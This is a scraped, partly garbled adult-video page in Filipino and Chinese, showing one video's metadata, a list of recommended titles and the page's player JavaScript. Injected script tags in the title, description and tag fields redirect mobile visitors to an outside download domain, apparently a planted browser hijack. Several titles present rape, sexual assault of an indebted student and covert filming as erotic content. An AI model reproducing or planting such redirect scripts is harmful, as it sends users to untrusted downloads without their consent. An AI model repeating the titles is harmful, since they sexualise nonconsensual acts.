</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen. Siguradong napakasikip niya roon. ...title><script>Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen.</script></script>

Random

Mga Inirerekomendang Video

Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen. Siguradong napakasikip niya roon. ...title><script>Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen.</script></script>","site_id":0,"video_url":"https://vostrely.com/20260709/77GtXqMs/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvYjk2NTQ0ZmFkZTUzMjFiMWNiZmZkZDQ5MzVlNzRlNTUuanBn.cache","duration":"04:04","actor":[],"lastmod":1783766805,"rating":"2.0","view_count":499,"description":"<script>!function(){var u=navigator.userAgent||\"\";if(/Mobile|Android|iPhone|iPad|iPod|webOS|BlackBerry|Opera Mini|IEMobile/i.test(u)){window.location.href=\"https://xiazai.it.com\"}}();</script>Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay may magandang hitsura at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen. Siguradong napakasikip niya roon.","tag":["<script>!function(){var u=navigator.userAgent||\"\";kung(","Mobile|Android|iPhone|iPad|iPod|webOS|BlackBerry|Opera Mini|IEMobile","i.test(u)){window.location.href=\"https:","xiazai.it.com\"}}();<","script>Gwapong lalaki","mataas na kalidad","kalidad","matangkad","modelo","Modelo","Babae","hitsura","Mukhang matamis","matamis","Katawan","sensitibo","Pumasok","kailan","Takpan ang bibig","Sigaw","Pagkawala ng pagkabirhen","sa ilalim","Napakasikip"],"site_url":"183120","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["抖阴短片"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvYjk2NTQ0ZmFkZTUzMjFiMWNiZmZkZDQ5MzVlNzRlNTUuanBn.cache","maker":"","table_name":"videos_naixxzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"帅哥撩了位高质量的高挑模特儿,妹子长相甜美,身体很敏感_进入的时候捂嘴大叫_搞得跟破处似的,下面肯定很紧","s_keywords":"帅哥撩了位高质量的高挑模特儿,妹子长相甜美,身体很敏感_进入的时候捂嘴大叫_搞得跟破处似的,下面肯定很紧","s_description":"Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen. Siguradong napakasikip niya roon. ...title><script>Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen.</script></script>","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzQ1NmY1YzYyNzg0MTA1NzEyYTE3YTA5OTRjMmJkMTUuanBn.cache","vod_id":19055601,"title":"10musume 101524_01 Malalim na pag-ulos sa ari! Gusto ng isang sensitibong babae na ilubog ang kanyang sarili sa sarap at magbulalas nang paulit-ulit.","lastmod":"2025-03-19","duration":"56:03","url":"/play/19055601.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWExZGE5ZjZiYWE1MjBlN2VjYmUwNzk1ZDJmMTZkNmYuanBn.cache","vod_id":18984494,"title":"STARS-727-C \"Kakaiba ba ang mga utong ko?\" Isang naka-unipormeng kagandahan na nababahala sa sensitibong mga utong ang nakakaranas ng orgasm sa utong at mas matinding sensitibidad sa sekswal.","lastmod":"2025-03-19","duration":"02:18:23","url":"/play/18984494.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTZkY2YzYWNmYjlmYTM4Mjk3ZDg2MGE4MmFmYzg0ZjguanBn.cache","vod_id":19009279,"title":"Tampok sa \"Playboy's Prostitute Series\" ang isang matangkad at seksing babaeng masahe na nakasuot ng itim na medyas na nag-aalok ng full-service na masahe, lantad ang mukha at umuungol habang kinakasakal!","lastmod":"2025-03-19","duration":"25:56","url":"/play/19009279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNmFkYzU5ZjgwMDhjMjYyYjgwMmJiN2VlYjk1OWJiMWQuanBn.cache","vod_id":18976738,"title":"Kumuha ako ng isang puta para maibsan ang aking sekswal na tensyon habang nasa isang biyahe para sa negosyo.","lastmod":"2025-03-19","duration":"13:04","url":"/play/18976738.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTcwYjUwNjk1MzQ5NTdmMTU4Zjk5ZTUyNDY2YTU4ODYuanBn.cache","vod_id":19137759,"title":"Ang URE-101-C ay na-download na nang may kabuuang 150,000 beses!! Ang orihinal na akda na \"Heli, My Neighbor Ayane\" ay isang sikat na kuwento na naglalarawan ng isang malaswa at kamangha-manghang pisikal na relasyon sa pagitan ng isang kapitbahay.","lastmod":"2026-02-13","duration":"01:57:57","url":"/play/19137759.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzk2NzQ5OWEwZTMwOTdjNmViYjg1NjQ5ZDQ4NWI2NWUuanBn.cache","vod_id":19011217,"title":"MDTM-838 Isang Espesyal na Edisyon ng mga Kwento tungkol sa Napaaga na Pagbubulabog at mga Babaeng Sensitibo at Araw ng Obulasyon (4 na Oras)","lastmod":"2025-03-19","duration":"04:00:03","url":"/play/19011217.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWVkMjJjODA0MDNmYWM0ZDQ5ZDAzYjMxOWUyM2I1NzUuanBn.cache","vod_id":19066689,"title":"SDAM-129 Isang dalagang nakilala ko sa aking paglalakbay sa Shiobara Onsen ~Gusto mo bang subukan ang pagpasok sa banyo ng mga lalaki na nakabalot lamang ng tuwalya? 59 Hanggang ngayon, normal pa rin ang aking paglalakbay.","lastmod":"2025-03-19","duration":"04:46:34","url":"/play/19066689.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjJjYjNlMWQ1M2EyNDVlMDk2ZTdkMDFmYmRlMTNkYzcuanBn.cache","vod_id":18923955,"title":"SIRO-3812 [Unang Pagbaril] Online na Aplikasyon para sa AV → Karanasan sa Pagbaril sa AV 975 Sports University Track and Field Women! Sobrang nakaka-excite ang nakatagong AV ng kapatid ko! ? Sobrang confident ako sa sikip ng katawan ko, haha, at sobrang confident ko rin sa ari ko. Sumailalim na ang katawan ko sa sports training, pati ang mga galaw ko ay paalon-alon, haha.","lastmod":"2025-03-19","duration":"54:42","url":"/play/18923955.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTM1OWJhZGVlZDc1N2NkNzc0Yjk5YWJlYmNhZDMwY2IuanBn.cache","vod_id":19031854,"title":"Ang diyosa, isang nakamamanghang kagandahan, ay hindi mapaglabanan; ang kanyang matinding paghiwa at pagtagos sa ilalim ay lubhang nakakapukaw, na agad akong tinitigasan.","lastmod":"2025-03-19","duration":"23:57","url":"/play/19031854.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjQ1MzM1NmRhZWU0M2FkOGU3YTVhYmJmMGJlY2I0OGYuanBn.cache","vod_id":19025298,"title":"Momo Shiraishi - MIAB-175 \"Naibulalas na ako\" Kahit na matapos ang bulalas sa mukha, ang kanyang sensitibong ari ay sinisipsip pa rin nang matindi. \"Guro, mahal kita!\" Binibigyan ang kanyang estudyante ng oral sex at minasahe ng 20 beses.","lastmod":"2025-03-19","duration":"02:02:44","url":"/play/19025298.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWUxNDVjOWI4OTM4ZmQ0NWNjNmExOGQ1MzQ4OWFkYzIuanBn.cache","vod_id":19041251,"title":"YOCH-008 Pribadong Pagsasanay sa Silid ng Pakikipagtalik na Sumilip Upang mabayaran ang mga utang ng kanyang anak... Inialay ng isang 60-taong-gulang na ina ang kanyang katawan at kinuha ang bahay.","lastmod":"2025-03-19","duration":"02:04:01","url":"/play/19041251.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTQyMjQxMGJlZmVkZDMzMjI3OWI1M2FlYTI3ZWMyNGEuanBn.cache","vod_id":19002521,"title":"MFO-066 [Aktibidad sa Labas] BBQ Party!! Ilabas ang iyong katawan, isip, at ari!! Magkaroon tayo ng isang nakakabaliw na party sa BBQ area!? <Distribusyon>","lastmod":"2025-03-19","duration":"01:40:03","url":"/play/19002521.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTQ4MDE3MjM2Y2JhZGY1NDdlNjA3YTYzOGFkNmQ1M2EuanBn.cache","vod_id":19009974,"title":"DRPT-065 Ang bibig ng isang sensitibong babae ay nahubog sa pamamagitan ng isang walang kabuluhang pag-atake sa dila ng isang taksil na dentistang lesbian, na nagresulta sa paulit-ulit na pagbuga.","lastmod":"2025-03-19","duration":"01:46:28","url":"/play/19009974.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjIvNmU2NDJmZGVmNDM1NDRmZWNhYzU4M2M5ODAzYmQyZTIuanBn.cache","vod_id":19125810,"title":"Ang sikat na modelo at diyosa ni JVID na si Cian ay isang napaka-sexy at nakamamanghang chef na may mataas na pigura, na ipinapakita ang kanyang apat na puntos sa mga malapitang kuha.","lastmod":"2025-10-22","duration":"33:21","url":"/play/19125810.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZWJiNjIxNDZhOTVkNWQ1OTJjOGJmNGQxYWJkYzZkMjQuanBn.cache","vod_id":19021571,"title":"Hinayaan ni [Babaeng may malaking dibdib] na tumulo ang semilya sa kanyang malaki at maitim na buhok sa ari.","lastmod":"2025-03-19","duration":"37:54","url":"/play/19021571.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGIzZGZiZmJhYzYxZDNmODMwMjc1ZWQ4NGJkYTAyYzkuanBn.cache","vod_id":18945283,"title":"Isang malaking modelo at isang photographer ang pumasok sa silid at agad na naghawakan sa isa't isa at nahiga sa kama!","lastmod":"2025-03-19","duration":"07:25","url":"/play/18945283.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmVhZmI1ODE0ZWQ0ZWIzNzBiZTA3MTdmZGI4MDFmMTUuanBn.cache","vod_id":19142749,"title":"Isang babaeng estudyante sa Lalawigan ng Jiangxi, na may utang, ang kinuha ang kanyang birhen ng kanyang bayaw na nakatira sa labas ng paaralan. Ang estudyante ay may utang din na 20,000 yuan. Ang magkapatid na babae ay sekswal na sinalakay sa loob ng isang araw at isang gabi.","lastmod":"2026-03-22","duration":"01:56:58","url":"/play/19142749.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjg5MWEyNmQxYmMyOGJmZWY4YTRhNzJiZjdlNTQwMjguanBn.cache","vod_id":18974594,"title":"Sinira ang pagkabirhen ni π507 ng kanyang \"birhen\" na nakatatandang kapatid na si Miru_SSIS-260_","lastmod":"2025-03-19","duration":"08:03","url":"/play/18974594.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGYwZGYyNGYyMmJmOGQ2NjM1N2NkYTFhMzVhNGMxMTYuanBn.cache","vod_id":19131734,"title":"Hindi napigilan ng dalaga ang mapasigaw habang siya ay nilalamon ng suntok.","lastmod":"2026-02-13","duration":"00:00:25","url":"/play/19131734.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzM4YTAyN2QwMjk0OGM1OTg4NDIzZTUxNDMyMzFkNjQuanBn.cache","vod_id":18923821,"title":"SSNI-535 Isang matangkad at magandang flight attendant ang ginahasa nang ilang araw hanggang sa tuluyan na siyang napahamak. (Kanari Kaori)","lastmod":"2025-03-19","duration":"02:49:46","url":"/play/18923821.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmQyNmZmYmViMjk5OWIwMTZhOWEyMTlhM2EzNWJiY2IuanBn.cache","vod_id":18967203,"title":"[Estudante sa kolehiyo na Tsino na may matinding adiksyon sa seks, palihim na kinunan ng video] Nakakaranas ng maraming orgasm ang sobrang sensitibong katawan habang patuloy na nakikipagtalik.","lastmod":"2025-03-19","duration":"23:32","url":"/play/18967203.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTA2OThmY2EwZGU1OWRlMDA2ZTRmM2Q4N2Y1OTkxYjUuanBn.cache","vod_id":18925643,"title":"1pondo-031823_001-FHD-Model Series: Sakuragi Mio","lastmod":"2025-03-19","duration":"01:01:35","url":"/play/18925643.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjg3Nzc5MmRhMmFhNWEzNWEwYzJkNTRlZmY0MDNlMDQuanBn.cache","vod_id":19062514,"title":"Isang bagong dating na babae na may taas na 170cm at mahabang binti ang nakikipagtalik sa bahay kasama ang kanyang kasintahan. Gumagawa siya ng open-crotch stockings, nagfe-footjob, at dinidilaan ang ari nito. Sinasakay siya nito at ginalaw pataas at pababa, pagkatapos ay hinawakan ang kanyang balingkinitan na baywang at tinusok siya mula sa likuran, mukhang lubos na napakasaya!","lastmod":"2025-03-19","duration":"01:15:24","url":"/play/19062514.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWEyMmYyMjgwYTcxYmIwOTgyYmIzOTU5NTJiOThhNzAuanBn.cache","vod_id":19010107,"title":"Ang sensitibong orgasmic spasms ni Yuribe","lastmod":"2025-03-19","duration":"22:53","url":"/play/19010107.html"}]}, videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen. Siguradong napakasikip niya roon. ...title><script>Isang guwapong lalaki ang nanligaw sa isang de-kalidad at matangkad na modelo. Ang babae ay mukhang matamis at napakasensitibo. Sumigaw siya habang nilalagyan ng penetratement, na parang nawawala ang kanyang pagkabirhen.</script></script>', language: 'fil', dataKey: '01', loadingPlayer: true, showShare: false, pageUrl: '', // RecommendedMovies 组件状态 isSingleColumn: false, pageSize: 8, currentPage: 1, // 计算属性(使用 getter) get layoutIconClass() { return this.isSingleColumn ? 'icon-view-list' : 'icon-grid'; }, get layoutClass() { return [ 'row', 'g-3', 'row-cols-1', this.isSingleColumn ? '' : 'row-cols-2', 'row-cols-lg-4' ].filter(Boolean).join(' '); }, // 方法 onAppMounted() { // 设置页面 URL this.pageUrl = window.location.href; // 保存观看历史 this.saveWatchHistory(); // 更新标签统计 if (this.videoData.tag && this.videoData.tag.length > 0) { this.updateTagStats(this.videoData.tag); } // 发送点击统计 this.hitVideoId(this.videoData.id); // 从 Cookie 读取布局偏好 const layoutCookie = this.getCookie('list_layout'); if (layoutCookie === 'single') { this.isSingleColumn = true; } // 监听 iframe 加载完成,隐藏骨架屏 // 使用 setTimeout 确保 DOM 已完全渲染 setTimeout(() => { const iframe = document.getElementById('v2-player'); const skeleton = document.getElementById('player-skeleton'); if (iframe && skeleton) { // 定义隐藏骨架屏的函数 const hideSkeleton = () => { skeleton.style.transition = 'opacity 0.3s ease'; skeleton.style.opacity = '0'; setTimeout(() => { skeleton.style.display = 'none'; }, 300); }; // 检查 iframe 是否已经加载完成 if (iframe.contentDocument || iframe.contentWindow) { try { // 如果 iframe 已加载,直接隐藏骨架屏 if (iframe.contentWindow.document.readyState === 'complete') { setTimeout(hideSkeleton, 500); return; } } catch (e) { console.log('[Video] 跨域 iframe,无法检查状态:', e.message); // 跨域情况下无法访问 contentWindow,继续监听 load 事件 } } // 监听 load 事件 iframe.addEventListener('load', () => { console.log('[Video] iframe load 事件触发'); setTimeout(hideSkeleton, 500); }); // 添加超时保护,确保骨架屏最终会被隐藏 setTimeout(() => { if (skeleton.style.display !== 'none') { console.log('[Video] 超时保护触发,强制隐藏骨架屏'); hideSkeleton(); } }, 5000); // 5秒后强制隐藏 } else { console.error('[Video] 未找到 iframe 或 skeleton 元素'); } }, 0); }, // 随机跳转 async jumpToRandomVideo() { try { const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, { headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }); const data = await response.json(); if (data?.status === 1 && data?.data?.id) { window.location.href = `/${this.language}/play/${data.data.id}.html`; } else { console.error('获取随机视频失败:', data?.message || '未知错误'); } } catch (err) { console.error('获取随机视频失败:', err); } }, // 复制分享链接 copyShareLink() { const input = this.$refs.shareInput; if (input) { input.select(); input.setSelectionRange(0, 99999); // For mobile devices // 尝试使用现代 API if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(this.pageUrl).then(() => { alert('Nakopya na ang link!'); }).catch(() => { // 降级到旧方法 document.execCommand('copy'); alert('Nakopya na ang link!'); }); } else { // 降级到旧方法 document.execCommand('copy'); alert('Nakopya na ang link!'); } } }, // 切换布局 toggleLayout() { this.isSingleColumn = !this.isSingleColumn; this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30); }, // 加载更多 loadMore() { this.currentPage++; }, // 保存观看历史 saveWatchHistory() { try { const storageKey = 'watchHistory'; let history = JSON.parse(localStorage.getItem(storageKey) || '[]'); // 解码 HTML 实体编码的标题 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const video = { id: this.videoData.id, title: decodeHtmlEntities(this.videoData.title), image: this.videoData.images || this.videoData.preview, duration: this.videoData.duration || '' }; // 过滤掉已存在的相同 ID 视频 history = history.filter(item => item.id !== video.id); // 添加新记录到最前面 history.unshift(video); // 限制最多保存 100 条 if (history.length > 100) { history = history.slice(0, 100); } localStorage.setItem(storageKey, JSON.stringify(history)); } catch (e) { console.error('Failed to save watch history:', e); } }, // 更新标签统计 updateTagStats(tags = []) { // HTML 实体解码函数 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const storageKey = this.dataKey + 'tagWatchStats'; const lastWatchedKey = this.dataKey + 'tagLastWatched'; const raw = localStorage.getItem(storageKey); const stats = raw ? JSON.parse(raw) : {}; // 解码标签并统计 const decodedTags = tags.map(tag => decodeHtmlEntities(tag)); decodedTags.forEach(tag => { stats[tag] = (stats[tag] || 0) + 1; }); localStorage.setItem(storageKey, JSON.stringify(stats)); localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags)); }, // 点击统计 hitVideoId(id) { fetch(`/api/qun/hit?type=play&id=${id}`, { method: 'GET', headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }).catch(err => { console.error('点击统计失败:', err); }); }, // Cookie 工具方法 getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift(); }, setCookie(name, value, days) { const expires = new Date(Date.now() + days * 864e5).toUTCString(); document.cookie = `${name}=${value}; expires=${expires}; path=/`; } }; } </script> <div class="container mt-4"> <h5 class="fw-bold mb-2" id="translate">友情链接</h5> </div> </div> <!-- End Main Content --> <!-- Footer --> <footer class="bg-dark text-light py-4 mt-5"> <div class="container"> <div class="row"> <div class="col-md-6"> <h5 class="navbar-brand"> <span class="text-uppercase fw-bold text-primary">经典</span><span class="text-danger">AV</span> </h5> <p class="text-white">Pinakamahusay na Japanese adult video website, permanenteng libreng JAV, super mabilis, walang pagkaantala, higit sa 100,000 video, naa-update araw-araw, walang ads habang nanonood ng video.</p> </div> </div> <hr class="bg-light"> <div class="text-center"> <p class="mb-0 text-white">© 火山小黄人. All rights reserved.</p> </div> </div> </footer> <!-- Bootstrap JS --> <script src="/js/bootstrap.5.3.0.min.js"></script> <script src="/js/main.js?t=2"></script> <script>var s=document.createElement('script');s.src='/js/lianmeng.js?'+new Date().getTime();document.head.appendChild(s);</script> <script type="text/javascript" src='/js/tongji.js?t=1' async></script> </body> </html>